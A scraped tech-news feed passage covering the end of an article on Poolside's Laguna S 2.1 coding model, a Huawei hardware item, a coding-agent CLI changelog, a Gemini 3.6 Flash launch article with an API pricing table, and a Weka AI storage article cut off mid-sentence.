loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
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<title><![CDATA[Leaving Apple, Intel, and Nvidia in the dust? Huawei could join Samsung as the only tech firms producing its own CPUs, SSDs, and DRAM]]></title>
<description><![CDATA[Only Samsung currently makes its own CPUs, SSDs, and DRAM, but Huawei may be quietly building its own alternative.]]></description>
<link>https://tsecurity.de/de/3684952/it-nachrichten/leaving-apple-intel-and-nvidia-in-the-dust-huawei-could-join-samsung-as-the-only-tech-firms-producing-its-own-cpus-ssds-and-dram/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684952/it-nachrichten/leaving-apple-intel-and-nvidia-in-the-dust-huawei-could-join-samsung-as-the-only-tech-firms-producing-its-own-cpus-ssds-and-dram/</guid>
<pubDate>Wed, 22 Jul 2026 00:34:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Only Samsung currently makes its own CPUs, SSDs, and DRAM, but Huawei may be quietly building its own alternative.]]></content:encoded>
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<title><![CDATA[v2.1.217]]></title>
<description><![CDATA[What's changed

Added emoji shortcode autocomplete in the prompt input: type :heart: to insert ❤️, or :hea for suggestions — disable with the emojiCompletionEnabled setting
Added warnings when transcript writes are failing (e.g. disk full) or when session saving is off due to an inherited environ...]]></description>
<link>https://tsecurity.de/de/3684903/downloads/v21217/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684903/downloads/v21217/</guid>
<pubDate>Tue, 21 Jul 2026 23:48:16 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added emoji shortcode autocomplete in the prompt input: type <code>:heart:</code> to insert ❤️, or <code>:hea</code> for suggestions — disable with the <code>emojiCompletionEnabled</code> setting</li>
<li>Added warnings when transcript writes are failing (e.g. disk full) or when session saving is off due to an inherited environment variable, instead of losing transcripts silently</li>
<li>Fixed a memory leak where truncated MCP tool outputs kept the full untruncated result in memory for the rest of the session</li>
<li>Fixed Windows auto-update failures that could leave <code>claude.exe</code> missing; failed updates now restore the preserved executable automatically</li>
<li>Fixed background session isolation not canonicalizing symlinked working directories, which could let sessions escape their workspace folder</li>
<li>Fixed auto-compact never triggering for Claude Opus 4.8 on Bedrock and <code>/compact</code> failing once over the limit</li>
<li>Fixed corporate mTLS, TLS-verify, OAuth scope, and proxy settings being ignored in Claude Desktop sessions</li>
<li>Fixed screen reader mode's startup announcement being cut off by the first prompt render, and the thinking status row re-rendering every few seconds to update elapsed time and token counts</li>
<li>Fixed managed settings that set <code>OTEL_EXPORTER_OTLP_ENDPOINT</code> not governing all signals — lower-scope signal-specific overrides no longer redirect telemetry away from the managed endpoint</li>
<li>Fixed <code>--resume</code>/<code>--continue</code> and <code>/resume</code> failing with a TypeError when a transcript has a malformed attachment entry</li>
<li>Fixed Remote Control sessions not showing a pending permission prompt or dialog to viewers that connected after it appeared</li>
<li>Fixed background shells sometimes becoming impossible to stop after a session is sent to the background (<code>/background</code> or <code>←</code>) or when the session exits on a heavily loaded machine, most visible on Windows</li>
<li>Fixed a <code>CLAUDE.md</code> or <code>SKILL.md</code> paths frontmatter value with many brace groups OOM-killing or stalling the CLI at startup — brace expansion is now budget-bounded</li>
<li>Fixed the transcript preview sitting flush against the input area when attaching to a starting background session; it now leaves the same one-line gap as the live layout, so the transcript no longer shifts when the session takes over</li>
<li>Improved footer PR badge links to be clickable hyperlinks even when terminal support can't be detected (e.g. over ssh/tmux); set <code>FORCE_HYPERLINK=0</code> to opt out</li>
<li>Changed the login-expiry warning to appear 3 days before expiry instead of 5</li>
<li>Capped the frontend-design plugin suggestion tip at 3 lifetime impressions instead of repeating indefinitely</li>
<li>Added a cap on concurrently-running subagents (default 20, override with <code>CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS</code>) so one message can't fan out unbounded background agents</li>
<li>Changed subagents to no longer spawn nested subagents by default; set <code>CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH</code> to allow deeper nesting</li>
<li>Fixed <code>--max-budget-usd</code> not stopping background subagents: once the cap is reached, new spawns are denied and running background agents are halted</li>
</ul>]]></content:encoded>
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<title><![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. </p><p>The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.</p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Project Glasswing program</a>, and continued by <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI with its staggered rollout for GPT-5.6</a>. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
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<title><![CDATA[Stop adding more GPUs: Weka's new storage platform reduces load by caching 100% of an AI model's pre-calculated tokens]]></title>
<description><![CDATA[GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve addit...]]></description>
<link>https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684878/it-nachrichten/stop-adding-more-gpus-wekas-new-storage-platform-reduces-load-by-caching-100-of-an-ai-models-pre-calculated-tokens/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>GPU memory is the most expensive resource in production AI, and it's also the one running out fastest. </p><p>Long context windows and multi-turn conversations force AI models to repeatedly recompute information they've already processed, consuming GPU memory and compute that could otherwise serve additional users or generate new responses.</p><p>Instead of treating GPU memory as the limiting resource,  why not extend it with much cheaper storage technologies? </p><p><a href="https://www.weka.io/">Weka</a>, for one, believes that cheap flash storage can close that gap. The company's NeuralMesh 6 software platform, launching alongside its first self-designed hardware line, Wekapod 3, extends what Weka calls Augmented Memory Grid, an approach that aggregates NAND flash to behave like GPU memory at a fraction of the cost.</p><p>This is an active and increasingly crowded category. Dell, NetApp, Pure Storage and VAST have all repositioned toward AI infrastructure over the past two years and Weka is one of several vendors arguing it's built for this specific moment rather than adapting to it.</p><p>"What we're seeing now with customers is they're chasing availability of compute, and once they get new allocation from anyone, they want to be able to grab it and start running right away," Weka co-founder and CEO Liran Zvibel, told VentureBeat.</p><p>The potential payoff is straightforward: better utilization of existing GPU investments, lower inference costs and faster deployment of new AI workloads without waiting months for additional GPU capacity.</p><p>The technology is most relevant for organizations already operating AI at scale or expecting rapid growth in usage, particularly enterprises building internal copilots, customer service agents, software engineering assistants or retrieval systems with long context windows. Smaller deployments may see less immediate benefit than organizations where GPU utilization has already become a limiting factor.</p><h2><b>Inside Weka's NeuralMesh 6</b></h2><p>NeuralMesh 6 adds four capabilities aimed directly at a functionality gap Zvibel says has been costing Weka deals in competitive evaluations.</p><p><b>Composable and virtual multi-tenancy.</b> Composable clusters give anchor tenants full hardware-level isolation, dedicated CPU, memory, and storage. Virtual multi-tenancy runs through Weka's RDMA fabric, delivering network-level isolation that scales past 1,000 tenants per cluster, with provisioning in under 30 minutes. Combined, a single cluster running 50 composable clusters can support up to 50,000 tenants. </p><p><b>Unified file and object storage.</b> Most storage systems keep two separate paths: a file-based path (the standard way servers and applications read and write files, used heavily in training and fine-tuning pipelines) and an object-based path (S3, the format inference and cloud-native tools typically expect). Normally a gateway translates between the two, meaning the data effectively exists twice. Weka's claim is that the same physical data on disk is directly readable through either path at once, no translation layer, no second copy. Zvibel is targeting non-AWS GPU clouds specifically, naming Lambda, Nebius, G42, and CoreWeave, with what he described as roughly two orders of magnitude higher performance than conventional S3 and a capacity-based pricing model instead of per-API charges. </p><p><b>Metadata-first replication.</b> Destination environments become browsable before a full data copy arrives, with data hydrating only when accessed. </p><p>"They had to wait for all of that to make it to the other side, and this takes days or weeks, in extreme cases a month," Zvibel said. "We now allow our customers to grab some allocation of new GPUs and get up and running within an hour."</p><p><b>AlloyFlash and Always-On data reduction</b>. TLC and QLC are two types of NAND flash memory. TLC is faster and more durable but costs more per terabyte, while QLC is cheaper and holds more data per chip but is slower. AlloyFlash mixes both within a single cluster, automatically routing latency-sensitive work to TLC while running bulk-capacity workloads on QLC, cutting cost per terabyte without a performance penalty on the work that needs speed. Data reduction now runs by default rather than as an option.</p><h2><b>Solving AI's context problem</b></h2><p>Multi-tenancy and object storage solve how enterprises and neo clouds operate the platform day to day. A harder problem sits underneath: as context windows and multi-turn interactions grow, so does the GPU compute wasted recalculating work a model has already done. Augmented Memory Grid, a NeuralMesh 6 feature built specifically for this, is Weka's answer.</p><p>Every prompt triggers two stages. Prefill calculates attention, the core mechanism behind how large language models process input, and it's computationally expensive. Decode converts that calculation into output and is comparatively lightweight. </p><p>The cost shows up hardest in multi-turn sessions like chat or coding, where each new turn re-triggers prefill for everything that came before it, unless that work has been cached.</p><p>"If you have 10 turns, you may overcalculate 100 times because you're redoing all of them. If you have 20, you'll overcalculate 400 times," Zvibel said. "You can put two orders of magnitude more NAND than you could afford in shared memory, and we can cache 100% of the pre-calculated tokens, so you never need to redo it."</p><h2><b>Where Weka sits competitively</b></h2><p>Storage vendors have spent the past year and a half repositioning around AI, and separating genuine capability from repositioned messaging is now a real evaluation problem for buyers. </p><p>"The storage world is shifting its focus from serving bits to enterprise workloads to managing data at the speed of AI. We've seen that most clearly over the past 18 months from Dell, NetApp, and Pure," Steve McDowell, chief analyst at NAND Research, told VentureBeat. "The interesting thing is that companies like Weka, and VAST, are the true AI-native data companies, solving these problems since day one."</p><p>McDowell singled out Augmented Memory Grid as Weka's clearest technical lead. </p><p>"Weka continues to have the most technically capable KV cache implementation on the market with its Augmented Memory Grid," he said. " They were early with this technology, and continue to innovate. This is critical for AI inference, as it enables a level of GPU efficiency that, without question, saves money on GPUs and memory. That’s key for today’s memory and GPU constrained market." </p><p>He also flagged Weka's contractual guarantee on its data reduction claims as underappreciated. </p><p>"One flying a little under the radar: Weka is putting its money where its mouth is with its contractual guarantees for its data reduction promises," he said.</p><p>McDowell's advice to buyers evaluating competing claims from Weka, VAST, Pure and NetApp alike was pointed suggesting that enterprise buyers should look hard at what vendors are promising versus what they're actually delivering.</p><p>"A smart buyer will look at how competing 